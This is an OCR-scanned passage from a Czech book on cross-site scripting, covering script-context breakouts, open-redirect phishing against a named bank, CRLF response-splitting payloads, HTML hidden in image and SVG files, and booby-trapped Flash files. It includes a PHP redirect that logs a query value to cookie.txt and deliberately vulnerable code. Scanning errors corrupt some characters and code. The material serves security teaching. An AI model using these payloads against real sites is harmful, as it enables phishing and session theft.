nékolikanasobné zvysime pravdépodobnost toho, ze bude utok Gspésny.
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Bypass prvku script

Pii testovani aplikace mize nastat také situace, Ze se nas vstup
objevi uvnitt legitimniho skriptu, ktery je soucasti webové stranky.
Naptiklad hodnoty proménnych nebo dokonce cela URL byvaji casto
pfedavany do proménné JavaScriptu, ktery je umistén ve strance, a ktery
s touto hodnotou dale pracuje. Uvedeny skript s vlozenym URL muze
vypadat jako ten z vypisu 72.

Vypis 72 - Legitimni script s hodnotou URL v proménné

<script>
var hodnotaURL = "http://www.xssvpraxi.cz?dotaz=nasVstup";

</script>

V takovém piipadé¢ mlzeme pouzit k bypassu uzavirajici znacky
";</script> nebo jeji XHTML varianty *;/*]]> */</script> nasledované
nasim XSS skriptem. Cely vstup by potom vypadal jako ten z vypisu 73.

Vypis 73 - Legitimni vstup s vloZenym bypassem

<script>
var hodnotaURL =
"http://www.xssvpraxi.cz?dotaz=";</script><script>alert (/XSS/) ;</script>";

</script>

V tomto vypisu jsme nas vstup zacali bypassem, ktery tvofily znaky "';
a ktery nejprve uzaviel textovy fetézec a JavaScriptovy ptikaz. V podobném
piipad¢ ale nemusime zoufat dokonce ani v piipadé, ze je pouziti znakl
uvozovek a apostrofil odetfeno a zakazano. Retdzce JavaScriptu totiZ nejsou
jako fetézce interpretovany HTML parserem a pokud v nich tedy pouzijeme
ukonéuji znacku </script> bez jejich uzavieni, dojde k opusténi kontextu
celého JavaScriptu pfimo a my mizeme bez problému injektovat na§ HTML
kod.

Samoziejmé by v podobném ptipadé byla Skoda legitimni skript
opoustét, kdyz jsme se v ném jiz jednou ocitli. Mizeme se proto pokusit
vtésnat svij kod mezi ten legitimni a nemusime tim padem pouzivat tagh
<script>, jejichZ vstup mize byt navic oSetien a zakazan. Musime ale
myslet na dvé véci. Zaprvé je nutné si uvédomit, ze pokud dojde pfi
vykonévani skriptu k chybé¢, je okamzité cely jeho béh ukoncen. Zadruhé, ze
se muzeme ocitnout v nékteré z vétvi skriptu, kterd se vykona jen za splnéni
uréité podminky. Pokud se proto s timto piipadem setkate, dobte si
rozmyslete zpusob, ktery pro vlozeni svého skriptu pouzijete. Injektaz
skriptu druhym uvedenym zpusobem si ukazeme ve vypisu 74. Zacneme
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uvozovkou, ktera uzavie textovy fetézec. PokraCujeme stfednikem, ktery
Vv JavaScriptu oddé€luje jednotlivé piikazy a v naSem piipadé oddéli legitimni
piikaz od toho naseho. Nakonec zabranime vzniku chyby na piebyvajicich
znacich pfidanim dvou lomitek. Ty plni v JavaScriptu funkci odkomentovani
zbytku fadku, ktery se tim padem jiz nebude vykonavat.

Vypis 74 - Legitimni vstup s vloZenym bypassem

<script>

var hodnotaURL = "http://www.hackingvpraxi.cz?dotaz="; alert (/XSS/);://";
</éé£ipt>

v v sz
Presmérovani

Presmérovani jsme se v kratkosti vénovali jiz v Casti vénované
non-persistentnimu XSS pii pouziti POST pozadavki. V uvedenych
pfipadech nam moc jinych variant ani nezbyva, protoZze musime uzivatele
pfesmérovat pies stranku s na$im automaticky odesilanym formulafem.
U pozadavkt odesilanych metodou GET vyuzivame presmérovani k zakryti
parametrti v URI odkazu. Odkaz pak vypada bezpecny jak pro uzivatele, tak
pro ruzné filtry, které zabranuji vkladani odkazti s parametry nebo kontroluji
piiponu souboru, na ktery se odkazujeme. Nekteré z metod pouzivanych
k pfesmérovani uvadim ve vypisu 75.

Vypis 75 - Nékteré z mozZnosti presmérovani

Na strané klienta
Pouziti automaticky odesilaného formulare
<form name="f" action="http://www.webaplikace.cz></form>
<script>document.f.submit ()</script>
Pouziti Meta tagu
<meta http-equiv="refresh" content="1;url=http://www.webaplikace.cz">
Pouziti JavaScriptu

<script>window.location.href="http://www.webaplikace.cz"</script>
nebo
<script>window.location.replace ("http://www.webaplikace.cz")</script>
Na strané serveru
Pouziti funkce header()
<?php
file put contents("cookie.txt", $ GET["var"]."\n", FILE APPEND);
header ("HTTP/1.1 301 Moved Permanently");
header ("Location: http://www.webaplikace.cz");
header ("Connection: close");
?>
Vyuziti souboru .htaccess
RewriteEngine on
RewriteRule index\.php http://www.webaplikace.cz [R=302]
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Verejné dostupné presmérovavaci sluzby

O pfesmérovani se miZeme postarat jednak sami, zaji$ténim
pfesmérovani na vlastnim webovém serveru, nebo muzeme sadhnout po
sluzbach nékterého ze serverd, které jsou pro pfesmérovani primarné urceny.
Tyto vefejné dostupné sluzby se vyuzivaji hlavné proto, aby zkratily
pivodni URI a ukryly tak parametry, které pivodni odkaz obsahoval. Asi
nejznaméjsi z t&chto servert je TinyURL.com, s jehoZ pomoci zajistime
pfesmérovani béhem par vtefin. Na webové strance sluzby TinyURL pouze
vlozite do formulafe vasi URL adresu vcetné parametri a formulat odeslete.
Obratem ziskate zkracené URL ptidélené sluzbou TinyURL viz. screenshot
avypisy 76 a 77.

TinyURL was created!

The follawing LR

Fipt>alert(/

it/ /
XS5/ ;< werip!

nd resuitad in the folowing TinyURL which has & length of 26 charactses.

Vypis 76 - Pavodni URL pred pfesmérovanim sluzbou TinyURL

http://www.hackingvpraxi.cz/search.php?dotaz=<script>alert (/XSS/);</script>

Vypis 77 - URL pridélana sluzbou TinyURL pro pfesmérovani na nasi stranku

http://tinyurl.com/2wxdadf

Dalsi sluzbou poskytujici pfesmérovani a zkraceni odkazi je
napiiklad ShortURL.com, piipadné tuzemské sluzby preskoc.cz nebo
zkracovatko.cz. Nevyhodou t&chto sluzeb je, Ze jsou odkazy jimi
vygenerované pii zasilani e-mailovou zpravou Casto zablokovany mailovymi
filtry a blacklisty. V jedné z ptedchozich kapitol jsem zmitioval také projekt
GET2POST serveru SOOM.cz, ktery ovSem neslouzi pro ukryti parametrd,
ale umoziii nam pfesmérovani s konverzi parametrti z URI na metodu POST.
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Zneuziti ciziho presmérovani

Vlastnich skripti pro pfesmérovani vyuziva také mnoho znamych
divéryhodnych webovych aplikaci. Technika pfesmérovani se u nich
pouziva napiiklad proto, aby zbavila URI identifikatoru session, pokud je
tento predavan metodou GET. Pfi nasledovani odkazli mimo webovou
aplikaci by ten totiz mohl byt pfeten z hlavicky referer. Blize o tomto
tématu uvedu v kapitole vénované kradezim session. Pokud je cilem
utocnika zamaskovani cilové stranky, na kterou odkaz sméfuje, mize snadno
davéryhodnost téchto cizich pfesmérovavacich skripti vyuzit k oklamani
uzivatele. Jde o metodu, ktera je Casto zneuzivana phishery k nalakani obéti
na podvrzené stranky, které napodobuji stranky, na nichz je toto
pfesmérovani umisténo. Odkazy, na které jsou uzivatelé lakani, proto
skute¢né ukazuji na uvedené divéryhodné domény a teprve po kliknuti na
odkaz, jsou obéti pfesmérovany jinam.

Vyse uvedené si opét pro lepsi pochopeni ukazeme na konkrétnim
piipads. Reknéme, e utotnik bude chtit ziskat pristupové udaje klientt
banky UniCredit Bank. Zaregistruje si proto doménu s podobnym nazvem
napiiklad bankaunicredit.cz, pfic¢emz skuteéné webové stranky banky jsou
umisténé na doméné unicreditbank.cz. Na své podvrzené stranky umisti
utocnik falesny ptihlasovaci formuldf nebo jiné informace, které chce své
obéti podstréit. Na skuteCnych webovych strankach banky se nachazi skript
redirect.html, ktery pfresmérovavad uzivatele na adresu definovanou
parametrem url. Uto¢nik tak mtize vytvoiit odkaz s URI z vypisu 78, ktery
odesle obéti. Tento odkaz sméfuje na skutecné webové stranky UniCredit
Bank a uzivatel tak nema divod tomuto odkazu nedivéfovat. Klikne-li na
n¢j vSak, bude skriptem, na ktery odkaz ukazuje, pfesmérovan na webové
stranky bankaunicredit.cz, které jsou ovsem pod kontrolou tto¢nika.

Vypis 78 - Redirect na webovych strankach UniCredit Bank

www.unicreditbank.cz/cz/redirect.html?product=1&url=http://www.bankaunicredit.cz

Pro lep$i zamaskovani miZe ttoénik hodnoty v URI jesté
zakodovat pomoci URL kédovani tak, jak uvadi vypis 79. Vice o tomto
a dalsich zptisobech kodovani ale si povime pozdéji v samostatné kapitole
vénované kodovani.

Vypis 79 - Pouziti URL kédovani k zamaskovani obsazenych hodnot

http://www.unicreditbank.cz/cz/redirect.html?product=3&url=%68%74%74%70%3a%2£%2£%77%
77%77%2e%73%6£%6£%6d%2e%63%7a
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Podobné jako u skripti pro presmérovani Se ve webovych
aplikacich miZzete setkat také s ptipady, kdy je v parametru ptedavano URL,
na které aplikace pfejde po odeslani formulafe, nebo po vyskytu uréité
udalosti. Ve vsSech téchto pfipadech, kdy v URI narazime na predavanou
URL adresu, se vyplati tyto skripty otestovat na zranitelnost XSS. Cilova
stranka, na kterou ma byt uzivatel pfesmérovan, nemusi totiz vzdy smefovat
pouze na HTTP protokol. Pokud skriptu pfedame v URI odkaz na direktivu
javascript: (potazmo VBScript:) nebo data:, miZe v pfipadé nedostateénych
kontrolnich mechanismii na strané piesmérovavaciho skriptu, dojit ke
spusténi takto pfedaného skriptu.

V praxi by to vypadalo tak, jak ukazuje vypis 80. Ten demonstruje spusténi
nami vlozeného kodu na stejném presmérovavacim skriptu, kterym jsme
demonstrovali ptesmérovani v predchozim piikladu.

Vypis 80 - VyuZiti pfesmérovavaciho skriptu ke spusténi naseho kédu

http://www.unicreditbank.cz/cz/redirect.html?product=1&url=data:text/html,<sc
ript>alert (/XSS/) ;</script>

JavaScript po pfesmérovani na direktivu javascript: nebo data:
ovSem neni moZné spustit vzdy, nebo nema pokazdé ptistup k DOM
dokumentu. Prohlize¢e se tak snazi podobnym tUtokim zabranit a tento
piistup znemoziuji. PestozZe je tedy nékdy mozné itoény skript spustit, neni
vzdy mozné jim ménit nebo ¢ist obsah nacteného dokumentu. Tabulka 23
ukazuje chovani nékterych prohlizeci.

Tabulka 23 - Pristup k DOM pri presmérovani v ruznych prohlizecich

FF 3.6.x

javascript:alert (document.domain) NE
data:text/html,<script>alert (document.domain)</script> ANO (about:blank)
IE8

javascript:alert (document.domain) NE
data:text/html,<script>alert (document.domain)</script> NENI PODPOROVANO
Chrome 7

javascript:alert (document.domain) NE
data:text/html,<script>alert (document.domain)</script> NE

Safari 5

javascript:alert (document.domain) NE
data:text/html,<script>alert (document.domain)</script> ANO (about:blank)
Opera 10

javascript:alert (document.domain) NE
data:text/html,<script>alert (document.domain)</script> ANO (about:blank)
Pozndmka:

Chovani je také mirné zavislé na stavovych kddech.
FF a Opera spusti JavaScript s kdédy presmérovdani 300,301,302,303,307
Safari 5 preferuje 301,302,303,305,306,307
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Skryti nazvu serveru

Nyni se jiz nejednd ani tak o pfesmérovani. U pfesmérovani naim
jde ale ¢asto o to, aby uzivatel nevidél, kam odkaz vede. Podobného efektu
lze ovSem dosdhnout i mnohem jednodu$s$im zplisobem, nez je pouziti
presmérovani. Staéi totiz, pokud adresu serveru v URL pievedeme na jeho
IP adresu, ktera navic mize byt vyjadiena v n€kolika riznych ciselnych
soustavach. S IP adresou se u URL odkazl uzivatel stietava pomérné casto
anevzbuzuje to v ném proto velké podezieni. V nasledujici tabulce si
ukazeme, jakymi zptsoby lze vyjadtit URL adresa http://www.google.cz.

Tabulka 24 - Vyjadreni adresy serveru riznymi zptisoby

http://www.google.cz Doménové jméno
http://74.125.87.104 IP adresa v decim&lnim tvaru
http://1249728360 IP adresa v dword tvaru
http://0x4a.0x7d.0x57.0x68 IP adresa v hexadecimdlnim tvaru
http://0112.0175.0127.0150 IP adresa v octalovém tvaru

Odkazovani na webové stranky pomoci IP adresy serveru je ovSem
mozné pouze tehdy, kdy je fyzicky webovy server vyhrazen pouze pro
jedinou webovou aplikaci. Cast&ji se ale setkate se situaci, kdy je stranka
hostovana na serverech webhostingové spolecnosti, a na jednom fyzickém
serveru ve skutecnosti bézi nekolik desitek rtiznych webovych domén.
Odkaz smérujici na konkrétni IP adresu pfestane také fungovat, pokud
server, na kterém je web hostovan, dostane pfifazenu jinou IP adresu, nebo
pokud se aplikace piestéhuje na jiny fyzicky server.

HTTP Response Splitting

S pfesmérovanim je spojena jest¢ dalsi velmi nebezpetna
zranitelnost, ktera se muze vyskytovat tam, kde se uzivatelsky vstup
promitne do HTTP hlavicky v odpovédi serveru. Nejcastéji se to déje pravé
pii pfesmérovani s kédem 301 - Moved permanently nebo 302 - Moved
temporarily, kdy je do hlavicky location vlozena adresa, na kterou je
presmérovavano. Pravé tato hlavicka muze ale nékdy obsahovat uzivatelsky
vstup a proto se muze stat cilem uto¢nikd.

Pro vyhledavani stranek, které jsou pfesmérovany s kodem 301
nebo 302 a pro pruzkum jejich HTTP hlavi¢ek je vhodné pouzit néktery
z lokalnich proxy servert. Zkusime si nyni ukazat pfiklad zachycené
komunikace. Reknéme, 7e¢ mame webovou aplikaci, kterd presméruje
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pozadavek se zkracenou adresou hackingvpraxi.cz na adresu v plném znéni
www.hackingvpraxi.cz tak, Ze na zaatek dotazu pFida fetézec www.
Odpovéd webového serveru by vypadala jako ta z vypisu 81.

Vypis 81 - Odpovéd’ serveru se stavovym kédem 301

HTTP/1.1 301 Moved Permanently

Date: Sun, 28 Nov 2010 20:31:19 GMT
Server: Apache/2.0

Location: http://www.hackingvpraxi.cz
Content-length: 0

Content-Type: text/html

Nyni zkusime rozsitit URI o parametr, abychom zjistili zda se
itento objevi v hlaviéce location. Po odeslani pozadavku si opét
prohlédneme odpovéd’ serveru, ktera by mohla odpovidal té z vypisu 82.

Vypis 82 - Odpovéd’ serveru se stavovym kédem 301

HTTP/1.1 301 Moved Permanently

Date: Sun, 28 Nov 2010 20:31:19 GMT

Server: Apache/2.0

Location: http://www.hackingvpraxi.cz?parametr=test
Content-length: 0

Content-Type: text/html

Vidime, Ze parametr se nam do HTTP hlavicky location
V odpovédi serveru promitnul a proto se nyni miizeme pokusit o propasovani
vlastni HTTP hlavic¢ky. K rozdéleni textového fetézce se pouziva sekvence
znakl pro odiadkovani CRLF. Odtud pochazi dalsi z nazvi CRLF injection,
ktery se pro tento typ utoku také pouziva. Sekvence CRLF je tvotfena dvéma
bilymi znaky. Znak s ASCII kédem 13 oznaCuje navrat voziku (cartridge
return CR) a znak s ASCII kédem 10 oznacuje piechod na novy fadek (line
feed LF). V hexadecimalnim vyjadfeni jde o znaky 0D a OA. Chceme-li se
pokusit o rozdéleni fadku v HTTP hlavicce a tim o vloZeni nové hlavicky
pouzijeme zapisu %0D%0A v parametru URI, které uvadim ve vypisu 83.
Nasledné mize nastat nékolik pfipadd, jak se webovy server s témito znaky
vypotada. Ve vypisu 84 uvadim nékteré mozné varianty vracenych
odpovedi.

Vypis 83 - URI s vloZzenou sekvenci CRLF

http://www.hackingvpraxi.cz?parametr=test%0D%0Atest




120 Cross-Site Scripting v praxi

Vypis 84 - MoZné varianty odpovédi serveru po prijeti sekvence CRLF

Presmérovani neni nachylné na CRLF injection (server odstranil znaky CRLF)
HTTP/1.1 301 Moved Permanently

Date: Sun, 28 Nov 2010 20:31:19 GMT

Server: Apache/2.0

Location: http://www.hackingvpraxi.cz?parametr=testtest
Content-length: 0

Content-Type: text/html

Presmérovani neni nachylné na CRLF injection

HTTP/1.1 301 Moved Permanently

Date: Sun, 28 Nov 2010 20:31:19 GMT

Server: Apache/2.0

Location: http://www.hackingvpraxi.cz?parametr=test%0D%0Atest
Content-length: 0

Content-Type: text/html

Presmérovani neni nachylné na CRLF injection (server kéduje znak %)
HTTP/1.1 301 Moved Permanently

Date: Sun, 28 Nov 2010 20:31:19 GMT

Server: Apache/2.0

Location: http://www.hackingvpraxi.cz?parametr=test%250D%250Atest
Content-length: 0

Content-Type: text/html

Presmérovani je nachylné na CRLF injection (doslo k rozdéleni radku)
HTTP/1.1 301 Moved Permanently

Date: Sun, 28 Nov 2010 20:31:19 GMT

Server: Apache/2.0

Location: http://www.hackingvpraxi.cz?parametr=test

test

Content-length: 0

Content-Type: text/html

Posledni varianta vracené odpovédi z vypisu 84 je na CRLF
injection nachylna, nebot’ doslo k rozdéleni fadku a vytvofeni nové hlavi¢ky
test. Nyni se tedy podivame na to, jak tuto objevenou zranitelnost vyuZit pro
spusténi naseho skriptu.

Zacnu od konce a rovnou uvedu URI, které tuto zranitelnost
zneuziva. Prohlédnout si jej mtzete ve vypisu 85.

Vypis 85 - URI zneuzivajici CRLF injection k XSS utoku

http://www.hackingvpraxi.cz?%0d%0aContentLength:%200%0d%0a%0d%0aHTTP/1.1%2020
0%200K%0d%0aContent-Type:%20text/html%0d%0aContentLength:%2042%0d%0a%0d%0a
<html><script>alert ("XSS")</script></html>

Po odeslani pozadavku s uvedenym URI bude vypadat odpoved
zranitelného serveru tak, jak ukazuje vypis 86, v némz je zvyraznéna Cast
vlozend z URL.
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Vypis 86 - Odpovéd’ serveru nakazena pomoci CRLF injection kédem JavaScriptu

HTTP/1.1 301 Moved Permanently

Date: Sun, 28 Nov 2010 20:31:19 GMT
Server: Apache/2.0

Location: http://www.hackingvpraxi.cz?
Content-length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 42

<html><script>alert ("XSS")</script></html>
Content-length: 0
Content-Type: text/html

Béhem utoku doslo k rozdéleni odpovédi na dvé ¢asti. Prvni z nich
je odpoveéd HTTP se stavovym kodem 301, jejiz t€lo ma nulovou velikost.
Nasleduje vlozena odpovéd se stavovym kodem 200 OK, jejiz télo ma
velikost 42 bytd, coz je velikost nami vlozeného HTML kodu
s JavaScriptem. Zbyvajici ¢ast puvodnich hlavicek bude ignorovana.
Vzhledem k tomu, Ze Firefox pracuje s jednotlivymi zpravami metodou
messge boundary, bude v ném uvedeny piiklad bez problému fungovat. U
Internet Exploreru, ktery zpracovava zpravy metodou buffer boundary,
musime nejprve prvni ¢ast zpravy doplnit na velikost bufferu (1024 bytt),
aby bylo mozné ptejit ke druhé zprave.

Piesmérovani je nejcastéji realizovano pomoci Mod_rewrite
v souboru .htaccess nebo pomoci funkce header() v php. Piiklad
neoSetieného php skriptu pro pfesmérovani by mohl mit podobu vypisu 87.

Vypis 87 - Ukdzka zranitelného php skriptu pro pfesmérovani

<?php
header ("HTTP/1.1 301 Moved Permanently");
header ("Location: $_GET[url]");

2>

Tento skript by byl nachylny na CRLF injection, nebyt toho, ze
nov&jsi verze php (konkrétn& od verze 4.4.2 a 5.1.2) jiz vyskyt odfadkovani
v hlavickach oSettuji a tak je tento skript zneuZitelny pouze u nizsich verzi.
Od uvedenych verzi je pii pokusu o rozdéleni hlavicky vracena chyba:

Header may not contain more than a single header, new line detected.
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Hlavicka location neni jedinou, kterda miZe byt zranitelnosti CRLF
postizena. Stejnym zpusobem muze dojit k rozdéleni HTTP hlavicek
i prostfednictvim hodnoty cookie, nebo jakéhokoliv jiného vstupu, ktery se
do HTTP hlavic¢ek odpovédi promitad. VSechny hodnoty, které se mohou
v HTTP hlavickach objevit, by tedy spravné méli byt pied tim, nez jsou
odeslany ke zpracovani, zbaveny bilych znaku.

Skripty v grafickych souborech

Star$i verze Internet Exploreru neakceptovaly HTTP hlavicku
content-type a interpretovaly obsah soubori po svém. Ve chvili, kdy
v souboru narazily na HTML kod, provedly jej. Vkladani skriptd do
grafickych soubori tak nadélalo tézkou hlavu nejednomu vyvojafi
webovych aplikaci, ktery chtél povolit vkladani obrazkd na své stranky. A¢
totiz byla jeho aplikace sebelépe zabezpetena proti XSS, staéilo, aby Gitoénik
ulozil kéd z vypisu 88 do souboru, kterému dal ptiponu nékterého
grafického formatu napiiklad .JPG a tento uploadoval na server jako
obrazek. Pokud pak navstévnik webu s Internet Explorerem navstivil stranku
s timto vloZenym obrazkem, jeho obsah se vykonal.

Vypis 88 - K6d umistény do grafického souboru  obrazek.jpg

<html>
<body>
<script>alert ("XSS") ;</script>
</body>
</html>

Mnoho vyvojaid pak pii uploadovani souborti sahlo naptiklad ke
kontrole Givodnich hlavic¢ek v souboru, podle kterych se dal graficky obsah
souboru identifikovat. Nicmén¢ i v tomto piipadé¢ nebylo pro tutocnika
problém tyto Gvodni hlavicky podvrhnout a nahrdt na server naptiklad
soubor, jehoz obsah uvadim ve vypise 89.

Vypis 89 - Skript v grafickém souboru GIF s podvrZenou hlavickou

GIF89a <html><body><script>alert ("XSS") ;</script></body></html>

Od Internet Exploreru verze 7 je tato jeho vlastnost opravena
aneni tak jiz ~mozné pomoci tagu <img> nebezpeény kod takto
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jednoduchym zpisobem spustit. To ov§em neznamena, Ze neni mozné ptimo
odkazat tagem <a> na graficky soubor, jehoz obsahem je pravé HTML kod,
pokud ten obsahuje vlastni hlavicku s content-type: text/html. Stejny soubor
je také mozné zkusit odeslat prostiednictvim e-mailové zpravy do webmailu,
ktery nema hlavicky content-type spravné oSetfeny. V takovém piipadé
dojde k vykonani kodu nejen ze strany Internet Exploreru, ale také napiiklad
prohlizeci od Mozilly.

V tomto kontextu se navic jiz nemusime omezovat pouze na
soubory grafickych typd, ale miZzeme sahnout i K jinym typiim soubort, jako
jsou naptiklad soubory .txt nebo soubory s neznamou koncovkou.

Graficky format SVG

Na Internetu je plné¢ podporovano nékolik grafickych formati pro
rastrovou grafiku (naptiklad JPEG, GIF nebo PNG). S podporou vektorové
grafiky je to ovSem o poznani hor$i. Graficky format SVG je otevieny
vektorovy format v podobé XML, ktery by mél tuto diru zacelit a sjednotit
vSechny vyznamnéj$i webové prohlizece podporu tohoto formatu. Internet
Explorer oviem potieboval az do své 9. verze pro zpracovani SVG formatu
externi plugin. Ukazku zapisu SVG si miizete prohlédnout ve vypisu 90.

Vypis 90 - Ukdzka zdpisu SVG

<?xml version="1.0"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svgll.dtd">

<svg xmlns="http://www.w3.0rg/2000/svg"
width="467" height="462">
<rect x="80" y="60" width="250" height="250" rx="20"
style="fill:#££0000; stroke:#000000;stroke-width:2px;" />

<rect x="140" y="120" width="250" height="250" rx="40"
style="fil1l:#0000ff; stroke:#000000; stroke-width:2px;
fill-opacity:0.7;" />
</svg>

Vzhledem k tomu, ze je SVG format piedstavovan XML zapisem,
je mozné jej zaclenit piimo do HTML kédu webového dokumentu, nebo jej
nacitat z externich souborti. Uvniti obsahu SVG je navic mozné pouzivat
bézné HTML tagy a CSS styly véetné vlozeného JavaScriptu. To pfinasi
nové vektory XSS utoku, které mohou vyuzivat Gito¢nici. Nékteré piiklady
téchto vektort naleznete v pfiloze.
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Injektaz skriptu skrz Flash

Vkladani skriptu do obsahu HTML dokumentu neni jedinou
moznosti, kterou Ize jeho spusténi zajistit. Existuje Siroké spektrum rtiznych
objektd, které je mozné na webovou stranku umistit a pomoci kterych je také
mozné kod JavaScriptu spustit. Jednim z téchto objekti jsou napiiklad Flash
animace. Ty se stavaji Gastymi cily utoénik hlavné proto, Zze moznosti, jak
skrz né spustit Gtoény kdd, existuje hned nékolik. My se na nasledujicich
nékolika stranach seznamime alesponi s témi nejzakladnéj$imi variantami.

Zacneme pékné po poradku a podivame se nejprve na jeden
z nejjednodussich utokd, ktery lze s pomoci Flashe uskute¢nit. Co se tyka
soubort, které jsou s Flashem néjakym zplsobem spojeny, stfetivame se
nejéastéji s nékolika typy soubord, jejichz vyznam nebude od véci si blize
objasnit. V tabulce 25 naleznete jejich seznam.

Tabulka 25 - Typy souboru pouZivanych v souvislosti s Flash

flv Flash Video - soubor obsahujici video ve formadtu Adobe Flash
respektive Shockwave Flash

.as Action Script - Soubor se skriptem, ktery je moZny pfelozit pro
pouziti v bindrnich flash animacich.

.swf Shockwave Flash - soubor pro zobrazeni interaktivnich animaci.

Soubor tohoto typu miZe obsahovat vlozZené obrazky ¢i videa, fonty,
zvuky, ale také action skrypty, které dodavaji animacim
interaktivitu.

Z hlediska XSS utokt se budeme vénovat hlavné souborim
s piiponou SWF. Nevyhneme se ale ani souborum Action Scriptu, které si
sami vytvoiime a do formatu SWF teprve zkompilujeme. Action skripty
muzeme napsat v jakémkoliv bézném textovém editoru, ktery uklada data ve
formatu prostého textu. Doporu¢im vam napiiklad pouziti oblibeného
PSPadu. V ném napiSeme jednoduchy Action Script z vypisu 91. Jeho
ukolem neni nic jiného, nez po nacteni pfejit na URL definované funkei
getURL. V tomto ptipadé tedy spustit kod JavaScriptu s alertem.

Vypis 91 - Action Script s vloZzenym JavaScriptem

class XSS {
static function main() {
getURL ("javascript:alert ('XSS")");
}
}
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Action Script uloZzime do souboru s piiponou .as a pielozime jej
pomoci programu pro piikazovy fadek MTASC! do formatu swf. Kompilator
MTASC je volné dostupny nastroj pracujici s Action Script 2. Pteklad
spustime piikazem s parametry, tak jak mizete vidét ve vypisu 92.
S jednotlivymi parametry prekladu se mutzete seznamit na webovych
strankach projektu MTASC.

Vypis 92 - Spusténi pfekladu Action Scriptu do form&atu SWF pomoci MTASC

mtasc -swf xss.swf -main -header 1:1:1 xss.as

Nyni, kdyz mame na$ .swf soubor vytvoten, miZzeme jej vyzkouset
v praxi. Sta¢i, kdyZ jej umistime na web a naéteme pomoci webového
prohlizece. Ve starSich verzich prohlizect a Flash playeru bylo mozné timto
zpusobem spustit kod JavaScriptu i ve flash souborech, které byly umistény
na lokdlnim disku. Nicméné to pfedstavovalo bezpecnostni riziko a tato
moznost byla zablokovana. Upload na webovy server, nebo pouziti
lokalniho webového serveru je proto nutny. Pokud jste tedy vse udélali
spravné, mélo by na vas po nacteni swf souboru v prohlize¢i vyskocit
vystrazné okno s textem XSS, viz nasledujici screenshot.

@ hitpy/fweww.hackingvprasi czfxss.swf - Windows Internet Explorer =8 ® |
@v w ] http://www hackingvpraxi.czivss.swt ~[&[+[x][£ Ao I
. = —
G Favorites | @ http://www.hackingvpraxi.cz/xss.swf - ~ [ @ - Page~ Safety~ Tools~ i@~
Message from webp... SE3
Dene [3 € Internet | Protected Mode: On A v |10k -

! http://www.mtasc.org/




126 Cross-Site Scripting v praxi

Nakonec muzeme jesté¢ vytvorit HTML stranku, kterda bude nas flash
zobrazovat. Ke vloZeni flashe do stranky jako objektu miZzeme pouzit tagy
embed nebo object. Vzhledem k tomu, Ze rGzné prohlizece potiebuji vlozit
flash objekt rozdilné, je vysledny kod, ktery uvadim ve vypise 93, ponekud

Vypis 93 - Ukdzka vloZeni flashe do HTML stranky

<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=windows-1250">
<title></title>
</head>
<body>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"
width="1" height="1">
<param name="movie" value="xss.swf">
<embed src="xss.swf" type="application/x-shockwave-flash"
width="1" height="1">
</object>
</body>
</html>

Zaklad Utoku mame tedy piipraven. Pro lep$i zamaskovani utoku
jej vsak jesté obalime néjakou tou multimedidlni prezentaci, ktera uto¢nou
funkci animace pted uzivatelem skryje. Pro vytvofeni jednoduché prezentace
pouzijeme dal3i nastroj pro piikazovy fadek. Je jim SWFMILLY, ktery slouzi
k vytvoteni kolekce videi, obrazkl, fontd ¢i zvukd, které nasledn¢ dokaze
piekompilovat do swf souboru. Pied jeho pouzitim si ale opét budeme muset
piipravit soubor urceny ke zkompilovani. Tentokrat se bude jednat o XML
soubor, ve kterém naimportujeme jednotlivé multimedialni objekty, které
chceme do vysledného flashe vlozit. V mém piipadé pouZiji pro
jednoduchost jen jeden jediny staticky obrazek, ktery si pfedem pfipravim
a ulozim pod nazvem obrazek.jpg. Obsah XML souboru bude mit podobu
uvedenou ve vypisu 94.

Vypis 94 - XML soubor s naimportovanymi zdroji

<?xml version="1.0" encoding="utf-8" 2>
<movie width="730" height="90" framerate="1">
<background color="#ffffff"/>
<frame>
<library>
<clip id="obrazek" import="obrazek.jpg" />
</library>
<place id="obrazek" x="0" y="0" depth="1" />
</frame>
</movie>

L http://swimill.org/
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Ulozeny XML soubor nasledné zkompiluji pomoci nastroje
SWFMILL pouzitim ptikazu z nasledujiciho vypisu.

Vypis 95 - Kompilace XML souboru do SWF

swfmill simple xss.xml xss.swf

Nakonec uZ jen pomoci nastroje MTASC spojim vytvoieny soubor
s diive vytvofenym Action Scriptem a vysledny SWF soubor ulozim na web.
Po nacteni tohoto souboru ve webovém prohlize¢i, dojde k zobrazeni
obsazené¢ho obrazku a k naslednému spusténi vlozeného JavaScriptu.
Vysledek prace si mizete prohlédnout na screenshotu.

) tostow! (application shockwave-flash objek] - Meozila Frfox

R s PF- hitge//vovewhackingupras c2/test.swd K] p‘

T |

Scltien stranky httg:fwww hackingvprasicz:

B

@

o realnyoh cranitelnasteeh oe sivtualnim socte

Mozné vés jiz béhem tvorby vysledného flashe napadly zptisoby,
kterymi by bylo mozné uvedené informace pouzit pii redlném utoku.
Predstavte si naptiklad situaci, kdy je mozné odeslat soubor prosttednictvim
e-mailu, jehoZ adresat si tuto zpravu prohlédne skrz webmailovou aplikaci
a ptiloZzeny soubor v ni otevie. MiiZzeme také vytvofit e-mailovou zpravu ve
formatu HTML, ktera bude nas flash obsahovat jako vloZeny objekt. Pomoci
vloZeného skriptu je pak mozné naptiklad unést uzivatelovo sezeni, ¢i jinak
zasahnout do aplikace webmailu. Mezi dalsi typy utoku Ize zatadit napiiklad
vytvotfeni reklamniho banneru, ktery utocnik pomoci sociotechniky rozsiti
po riznych webech. Uzivatelé vSech webovych aplikaci, které budou mit
tento Uto¢ny banner na svych webovych strankach, se tak mohou kdykoliv
stat ob&ti jeho utoku. Jeho cilem muze byt jiz zmifiovana kradez obsahu
cookie, nebo tfeba odposlouchavani stisknutych klaves. Mozné je také
vyuziti obéti k dalsi ¢innosti utoénika skrz XSS backdoor. O téchto ttocich
si ale vice povime pozdgji.
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Webovy administratofi mohou spousténi skriptt, ptistup k obsahu
stranek, nebo odesilani pozadavki mimo aplikaci zakdzat pomoci parametrt
allowScriptAccess a allowNetworking nalezejicim objektim vkladanym pies
tagy object a embed. Vice si o nich fekneme b&hem popisu dalsich moznych
utoku skrz vlozené flash objekty.

Nyni se podivame na utoky, které ke spusSténi naSich skripti
vyuziji cizi flashové aplikace umisténé na cilové webové strance. Opét
